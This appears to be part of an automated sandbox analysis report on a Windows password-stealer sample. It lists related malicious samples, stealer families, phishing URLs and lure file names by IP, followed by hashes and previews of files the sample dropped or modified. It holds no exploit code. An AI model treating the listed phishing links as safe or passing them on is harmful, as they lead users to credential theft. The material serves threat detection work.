	https://googleweblight.com/i?u=https://pub-d96d4614f29b4f898c90ea395a2ce77f.r2.dev/Cga7su0.html#phillip.perkins@alliancebanktexas.com	Get hash	malicious	HTMLPhisher	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://choosetotruck.com/cdn-vs/cache.php	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://e.trustifi.com/#/fff0f6/3b034b/69910d/e33bb8/5b1e44/18c765/f8909e/c6e541/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d0da29/cd3585/80cff1/eaf704/2641c2/c084ad/a14c04/f60812/3adbe9/f7d041/4f8d78/37d9a3/9eb5fb/91479e/892753/8c1f30/9d693b/2a0446/af6550/622c1f/3d0978/653c19/fb8256/d5bbe8/06f3b2/6622ca/c0715b/b1dc4b/bfdbe8/3c0bc4/95282d/c75070/272cc6/51465b/ff0cfe/917e7a/e6c86e/3e41c5/d01483/42abaa/b780c1/5155d4/53aa72/8ba008/97686f/fe7049/0a2973/f9c803/028068/1f0747/07cdde/d7bf27/7d56b6/b2eaef/78f21e/1ad764/f7db46/7673e0/8a089e/da9d2f/0c1756/a2f541/15ea30/fbbbf1/e79d48/8a22a2/2a0aa1/bd49dd/89ef9f/4b76d8/0ee4f1/28a13f/a1cdc0/1b7141/1a335d/5f4b89	Get hash	malicious	HTMLPhisher	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://hrpayroll2024.softr.app/	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	http://uft8-login-account-sign-required.midswaycorp.com	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
a0e9f5d64349fb13191bc781f81f42e1	MT103_0216009430_-_Anun#U021b_de_transfer_efectuat.pdf.xla.xlsx	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	34.117.186.192
	QEK1alSEcL.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	34.117.186.192
	file.exe	Get hash	malicious	PrivateLoader	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	LummaC, GCleaner, LummaC Stealer	Browse	34.117.186.192
	http://dbree.org	Get hash	malicious	Unknown	Browse	34.117.186.192
	BILLXOFXLADING.xls	Get hash	malicious	Unknown	Browse	34.117.186.192
	MDE_File_Sample_0e9d1c53bfb8f43b777a5c0e25f0a850e1a521b3.zip	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	LummaC	Browse	34.117.186.192
	SecuriteInfo.com.Win64.Evo-gen.6521.26445.exe	Get hash	malicious	LummaC	Browse	34.117.186.192
	Accept Files.Docx	Get hash	malicious	Unknown	Browse	34.117.186.192
	DSV_122023624150_7018701115.js	Get hash	malicious	Unknown	Browse	34.117.186.192
	DSV_122023624150_7018701115.js	Get hash	malicious	Unknown	Browse	34.117.186.192
	nso7806.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Trojan.Siggen23.22903.24587.4515.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	LummaC	Browse	34.117.186.192
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, RedLine, SmokeLoader, Stealc, Vidar	Browse	34.117.186.192
	Orden_de_compra_PO_N#U00b0_1052022_20220114..xla.xlsx	Get hash	malicious	Unknown	Browse	34.117.186.192
	SWIFT_COPY.xls	Get hash	malicious	Unknown	Browse	34.117.186.192
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Trojan.DownLoader46.44011.13581.29916.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	R5504576_GG001_1054173_8065325_333090_04000_PT_PD_1.cmd	Get hash	malicious	GuLoader	Browse	104.21.21.16
	Adobe-Reader-v8.0-latest-installer.exe	Get hash	malicious	GuLoader	Browse	104.21.21.16
	Eql9yOkOrJ.exe	Get hash	malicious	Vidar	Browse	104.21.21.16
	Eql9yOkOrJ.exe	Get hash	malicious	Vidar	Browse	104.21.21.16
	9moLZUm8FT.exe	Get hash	malicious	Amadey, RHADAMANTHYS	Browse	104.21.21.16
	paradise.exe	Get hash	malicious	Vidar	Browse	104.21.21.16
	paradise.exe	Get hash	malicious	Vidar	Browse	104.21.21.16
	out.js	Get hash	malicious	Unknown	Browse	104.21.21.16
	out.js	Get hash	malicious	Unknown	Browse	104.21.21.16
	citacionpoderjudicl.msi	Get hash	malicious	Unknown	Browse	104.21.21.16
	R5504576_GG001_1054173_8065325_333090_04000_PT_PD_1.cmd	Get hash	malicious	GuLoader	Browse	104.21.21.16
	nso7806.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	Screenshot.cmd	Get hash	malicious	GuLoader, XWorm	Browse	104.21.21.16
	out.js	Get hash	malicious	Unknown	Browse	104.21.21.16
	out.js	Get hash	malicious	Unknown	Browse	104.21.21.16
	file.exe	Get hash	malicious	Xmrig	Browse	104.21.21.16
	qZSULDXKfu.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.21.16
	SecuriteInfo.com.Win32.Evo-gen.26849.8476.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	SecuriteInfo.com.Win32.MalwareX-gen.6407.21148.exe	Get hash	malicious	Unknown	Browse	104.21.21.16

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65440
Entropy (8bit):	6.049806962480652
Encrypted:	false
SSDEEP:	768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
MD5:	0D5DF43AF2916F47D00C1573797C1A13
SHA1:	230AB5559E806574D26B4C20847C368ED55483B0
SHA-256:	C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
SHA-512:	F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_9ae6cbaf345627d11f56e4aa45ad7edf1ce7c4_be6a5693_41b6c198-e683-45b2-a099-31bff24d2b12\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1819404518888397
Encrypted:	false
SSDEEP:	192:9RRMqeFy/9P0lLyJejez2ZrjBBldzuiF4Z24IO8Z8:bRMs98lLyJeje6nzuiF4Y4IO8Z
MD5:	8C64E15A6B15878781AC0FC75A261DC9
SHA1:	E1C14F4E8CD3F9ED2E041C7A0DDF43B3654125DE
SHA-256:	19146D75E59F8ADF275107878D5F0EB7153A3D98A8953B2A3E3AFA1396335BA0
SHA-512:	F0C652B1B067FC6F37A9CBDE844289132201D90B6994F6C8617B39DD04450D8DFBD0370C642D601BEB8D57CE2B7F7AD75D8509AD067BC771783274C634A7ED24
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.0.0.0.8.0.7.7.1.7.5.8.8.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.0.0.0.8.0.9.0.9.1.8.7.5.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.b.6.c.1.9.8.-.e.6.8.3.-.4.5.b.2.-.a.0.9.9.-.3.1.b.f.f.2.4.d.2.b.1.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.5.a.8.7.f.a.f.-.d.a.4.1.-.4.b.9.e.-.9.1.6.e.-.1.5.9.2.5.7.f.d.b.1.8.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.e.c.-.0.0.0.1.-.0.0.1.5.-.f.9.a.1.-.e.7.a.a.9.d.4.9.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8201.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jan 17 23:34:45 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	135560
Entropy (8bit):	1.995456658368353
Encrypted:	false
SSDEEP:	384:OKeBZR7pPY5m15Tgo5HkyyuEiA7e4T4sYBK9AmGmUuYnghKsis4AZ7swbvfM5:ubppQ5c5Mo5kgDA71MjB53gsiTZLbv4
MD5:	44DFB7EF2309AC836A7BD1DABF93641A
SHA1:	13D04B762C21EC6B02D8F965A51E14517CB399BA
SHA-256:	FF72BD2F16C165B3B064DC813F18AEB3CAE332BE6666010B382251B525ABBE3F
SHA-512:	D3C05B0BE7BBF31FC3925D1B80217646EFC581CD7DF4D9389DF331B354E5C13635233533166856FEADDBA5285AEA1EEE5922B9C5CE86BED29CB581861FB93FA8
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ........d.e........................."..(.......T....+..........:Z..........`.......8...........T............b...............,..........................................................................................eJ..............GenuineIntel............T............c.e.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA559.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6354
Entropy (8bit):	3.7227698413678474
Encrypted:	false
SSDEEP:	192:R6l7wVeJ16A6FZKYhJl9JprR89bcasfuv0m:R6lXJX6F0YhJl9Kc5fuZ
MD5:	8CD4D2CEE32EDC23AFEE9B9EC9BFEA0B
SHA1:	9121CEA981F5F09794EB051F0ACE59DDAC78062F
SHA-256:	3F95B2D13591E131C2090D1A19FDEB3CC1187DC8FFB4730D5DB8411165D7FD21
SHA-512:	4E4D3573C38A12BA415C28029693607DBD527302E82D220221EBD85723BE2722978B5C42402C15FE5B0B8F505F6C9E751DF5407CFA83688B5E00C96AB21A29AE
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA942.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	4.493941880756518
Encrypted:	false
SSDEEP:	48:cvIwWl8zs9uJg77aI9cPWpW8VYbCYm8M4JfuyWFxv+q8oQZQgLuOLuHrd:uIjfGI7Ge7VirJfudvvMBukuHrd
MD5:	635841214F63E63A0641A383604AAE23
SHA1:	E0CB785C6C39F15FD7AA1943ECFFEC9890541CC3
SHA-256:	3B705845E6159039CBA26B18D5C72B2271266721BFA397382B71224C0AB16EE8
SHA-512:	F375A3462A6B711EC64F93E65F1C3E46F3DC7B14BE10F3B2575F86EC4B36853882A9757094FE346DFD6E05DCDD69F7F1103D3FBD6199E7E157F77533CBD06C33
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="153517" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_14b615bc-a80e-4e59-977b-201c3e8ea9da.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7830
Entropy (8bit):	5.15844280595936
Encrypted:	false
SSDEEP:	192:gFBMimATcbhbVbTbfbRbObtbyEl7n4rNJA6unSrDtTZdxSof2:gFiucNhnzFSJYrI1nSrDhZdxK
MD5:	2E1D3CEFA94C1EE2AFBE99EFB80A95A2
SHA1:	989E4E30439D18F07251D2E716F7DEFAB3E46840
SHA-256:	04B2A282089259BF197069C71A0D50A1107E1050AE698AFCAD22E3535E75823D
SHA-512:	3235E515134B02DBA2CEE009B5EB4802DA0894B83AFBDE2FAFC9C9192BC6837E5A477C84BF60E48E50727D6041ACB221FABDF8E237C2FF33A6C3C5E60BA0C70B
Malicious:	false
Reputation:	unknown
Preview:	{"type":"uninstall","id":"14b615bc-a80e-4e59-977b-201c3e8ea9da","creationDate":"2024-01-18T01:23:51.977Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"7340e351-fad3-4a0f-b554-971fbfafe8fb","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_14b615bc-a80e-4e59-977b-201c3e8ea9da.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7830
Entropy (8bit):	5.15844280595936
Encrypted:	false
SSDEEP:	192:gFBMimATcbhbVbTbfbRbObtbyEl7n4rNJA6unSrDtTZdxSof2:gFiucNhnzFSJYrI1nSrDhZdxK
MD5:	2E1D3CEFA94C1EE2AFBE99EFB80A95A2
SHA1:	989E4E30439D18F07251D2E716F7DEFAB3E46840
SHA-256:	04B2A282089259BF197069C71A0D50A1107E1050AE698AFCAD22E3535E75823D
SHA-512:	3235E515134B02DBA2CEE009B5EB4802DA0894B83AFBDE2FAFC9C9192BC6837E5A477C84BF60E48E50727D6041ACB221FABDF8E237C2FF33A6C3C5E60BA0C70B
Malicious:	false
Reputation:	unknown
Preview:	{"type":"uninstall","id":"14b615bc-a80e-4e59-977b-201c3e8ea9da","creationDate":"2024-01-18T01:23:51.977Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"7340e351-fad3-4a0f-b554-971fbfafe8fb","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MPGPH131.exe.log

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RageMP131.exe.log

Process:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe.log

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1da4dc66-5641-474d-b5cd-fb185f7e1e58.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44894
Entropy (8bit):	6.095646567971906
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjsi1zNt9mUNyXzGFMKJDSgzMMd6qD47u3+Ciob:+/Ps+wsI7yne1sKtSmd6qE7lFob
MD5:	5186D7FD9F235656B86F204DFEF2B13B
SHA1:	A28EC8D6F405DB4ABED4BC3EF7C2DD20A6EAB6FD
SHA-256:	E95916D3737E02DC7D3DA204F91015DD136E6AF6CDF1AFA76630DF4901D881F2
SHA-512:	DA208CEE7F88E2FC7FED302446B44C19F557E78D3427F9F77AADD48BF0AA4326FDA4C43557D1A217208942FB4AA43E9EB8B906EC03E1A4BAFE0DABE35DB5D877
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2278c641-8fa0-42b0-9bd8-e349d8c97a06.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	6.094150362989417
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJji1zNt+vNVXxKJDSgzMMd6qD47u3+CioVf:+/Ps+wsI7yngvVKtSmd6qE7lFoV
MD5:	AB9AE6A11057EF2ED7DA18F21FEEF34C
SHA1:	61ED1588F8EA09D471D64C423909E43E53615150
SHA-256:	0768E7CD4905CD2E4C27C1D3EAE6F3397F1B3A126AE386F2F677E3E45F3D5B94
SHA-512:	860F55EDB4F738E6BE8D8709631A0C8D23A516020C1F6836D6AF1A57ACF9F7B1D42F942A506FD2D78AFF66D9AC814A759AEB5F1C1D6B7C0583477AAED0F4DD6B
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3bddeaf4-ba41-4692-b306-5de42e04ce7a.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095324419514247
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJzi1zNtZye5CN8XUTkKBKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynDJIXKtSmd6qE7lFoC
MD5:	52DCA553026B9794882B689BBB08992D
SHA1:	1BD45C93C0594075BC141DAD0FE4C7C29CFF2A8D
SHA-256:	0D7315E6331C8F3F3C5470EE4E38F468F6196EC0F8A93E64E4D35B4227EABA0B
SHA-512:	E347D3057B258C6A997A8DCCADCD36D8BC526C7496309C2B406FB047C12EC9304317900CDF970DF10418619EF39F272B9A50E5D6A556939275DAD921187B992D
Malicious:	false
Reputation:	unknown
